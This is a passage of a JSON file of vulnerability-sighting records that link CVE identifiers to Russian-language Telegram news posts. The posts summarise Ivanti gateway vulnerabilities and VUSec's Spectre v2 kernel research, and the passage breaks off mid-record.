\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0445 \u043d\u0430 \u0448\u043b\u044e\u0437\u044b Connect Secure \u0438 Policy Secure.\n\n\u041e\u0434\u043d\u0443 \u0438\u0437 \u043d\u0438\u0445, CVE-2024-21894 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,2), \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f RCE \u0438 DoS \u043d\u0430 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 IPSec \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0448\u043b\u044e\u0437\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043f\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430, \u0440\u0438\u0441\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438, \u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u0445 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\nIvanti \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0442\u0440\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0442\u0435 \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f DoS-\u0430\u0442\u0430\u043a.\n\n\u0414\u0432\u0435 \u0438\u0437 \u043d\u0438\u0445, CVE-2024-22052 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) \u0438 CVE-2024-22053 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,2), \u0432\u044b\u0437\u0432\u0430\u043d\u044b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 IPSec, \u0434\u0440\u0443\u0433\u0430\u044f CVE-2024-22023 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,3) \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e XEE \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 SAML.\n\n\u0422\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e, \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0442\u044b\u0441\u044f\u0447\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u0430 \u0435\u0441\u043b\u0438 \u0431\u044b\u0442\u044c \u0442\u043e\u0447\u043d\u0435\u0435: \u0431\u043e\u043b\u0435\u0435 29 000\u00a0VPN-\u0448\u043b\u044e\u0437\u043e\u0432 Ivanti Connect (\u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan) \u0438 \u0431\u043e\u043b\u0435\u0435 18 000 (\u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shadowserver).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u0439 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430 \u0441\u043b\u043e\u0432\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 Ivanti \u043d\u0435 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f, \u0430 \u043c\u043e\u0436\u0435\u0442 \u0434\u0430\u0436\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442.", "creation_timestamp": "2024-04-04T11:29:08.000000Z"}, {"uuid": "75a46a00-54d9-41b1-9af8-09b96ea50f66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22053", "type": "seen", "source": "https://t.me/true_secator/5600", "content": "\u041e\u0434\u043d\u0430\u0436\u0434\u044b CISA \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u0443, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043f\u0440\u0435\u043a\u0440\u0430\u0442\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 Ivanti, \u0441\u0442\u043e\u0438\u043b\u043e \u043f\u0440\u0438\u0441\u043b\u0443\u0448\u0430\u0442\u044c\u0441\u044f \u0438 \u043d\u0435 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0443 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 Ivanti \u044d\u0442\u043e\u0442 \u0446\u0438\u043a\u043b \u0441\u0442\u0440\u0435\u043c\u0438\u0442\u044c\u0441\u044f \u043a \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0441\u0442\u0438. \n\n\u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0442\u043e\u043a \u0441\u0432\u044f\u0437\u0430\u043d \u0441\u043e \u0441\u0440\u043e\u0447\u043d\u044b\u043c\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0445 \u043d\u0430 \u0448\u043b\u044e\u0437\u044b Connect Secure \u0438 Policy Secure.\n\n\u041e\u0434\u043d\u0443 \u0438\u0437 \u043d\u0438\u0445, CVE-2024-21894 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,2), \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f RCE \u0438 DoS \u043d\u0430 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 IPSec \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0448\u043b\u044e\u0437\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u043f\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430, \u0440\u0438\u0441\u043a\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c\u0438, \u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u0445 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f.\n\nIvanti \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u0442\u0440\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0442\u0435 \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f DoS-\u0430\u0442\u0430\u043a.\n\n\u0414\u0432\u0435 \u0438\u0437 \u043d\u0438\u0445, CVE-2024-22052 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) \u0438 CVE-2024-22053 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8,2), \u0432\u044b\u0437\u0432\u0430\u043d\u044b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f \u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 IPSec, \u0434\u0440\u0443\u0433\u0430\u044f CVE-2024-22023 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,3) \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e XEE \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 SAML.\n\n\u0422\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e, \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0442\u044b\u0441\u044f\u0447\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u0430 \u0435\u0441\u043b\u0438 \u0431\u044b\u0442\u044c \u0442\u043e\u0447\u043d\u0435\u0435: \u0431\u043e\u043b\u0435\u0435 29 000\u00a0VPN-\u0448\u043b\u044e\u0437\u043e\u0432 Ivanti Connect (\u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan) \u0438 \u0431\u043e\u043b\u0435\u0435 18 000 (\u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shadowserver).\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u0439 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430 \u0441\u043b\u043e\u0432\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 Ivanti \u043d\u0435 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f, \u0430 \u043c\u043e\u0436\u0435\u0442 \u0434\u0430\u0436\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442.", "creation_timestamp": "2024-04-04T11:29:08.000000Z"}, {"uuid": "09877695-84e0-4f6e-9da9-89384da5eea7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2201", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5627", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 VUSec \u0438\u0437 \u0410\u043c\u0441\u0442\u0435\u0440\u0434\u0430\u043c\u0441\u043a\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430\u00a0\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0442\u0430\u043a\u0438 Spectre v2, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u043d\u0430 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 Intel, \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e\u0439 \u0443\u044f\u0432\u0437\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0431\u043e\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f CVE-2024-2201.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0435 \u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b, \u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0431\u044b\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0432 2018 \u0433\u043e\u0434\u0443 Spectre \u0438 Meltdown.\n\n\u0410\u0442\u0430\u043a\u0438 \u0432 \u0441\u0442\u0438\u043b\u0435 Spectre \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0446\u0435\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0442\u0430\u043a\u0443\u044e \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u0430\u0440\u043e\u043b\u0438.\n\n\u0412 2022 \u0433\u043e\u0434\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 VU Amsterdam \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043b\u0438\u00a0\u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 Spectre v2, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0435\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 Branch History Injection (BHI), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0443\u044e \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439, \u0447\u0435\u043c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438.\n\n\u0422\u0435\u043f\u0435\u0440\u044c \u0436\u0435 VUSec \u043e\u0431\u043d\u0430\u0440\u043e\u0434\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043d\u043e\u0432\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e Intel, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 Spectre-v2, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u044f\u0434\u0440\u043e Linux.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438, \u0447\u0442\u043e \u0430\u0442\u0430\u043a\u0430 \u044d\u0444\u0444\u0435\u043a\u0442\u043d\u0430 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 Intel \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430 \u0441\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e 3,5 \u041a\u0431\u0438\u0442/\u0441\u0435\u043a.\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 Spectre v2 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0430\u0435\u0442 \u044f\u0434\u0440\u043e \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u043e\u043c\u0443 \u0433\u0430\u0434\u0436\u0435\u0442\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443. \u0410\u0442\u0430\u043a\u0438 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432 \u044f\u0434\u0440\u0430\n\n\u041d\u043e VUSec \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c InSpectre Gadget, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u044f\u0434\u0440\u0430 Linux \u0434\u043b\u044f \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0430\u0442\u0430\u043a\u0435.\n\n\u041f\u043e \u0438\u0442\u043e\u0433\u0443, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u043a\u0430\u043a \u043d\u043e\u0432\u0430\u044f 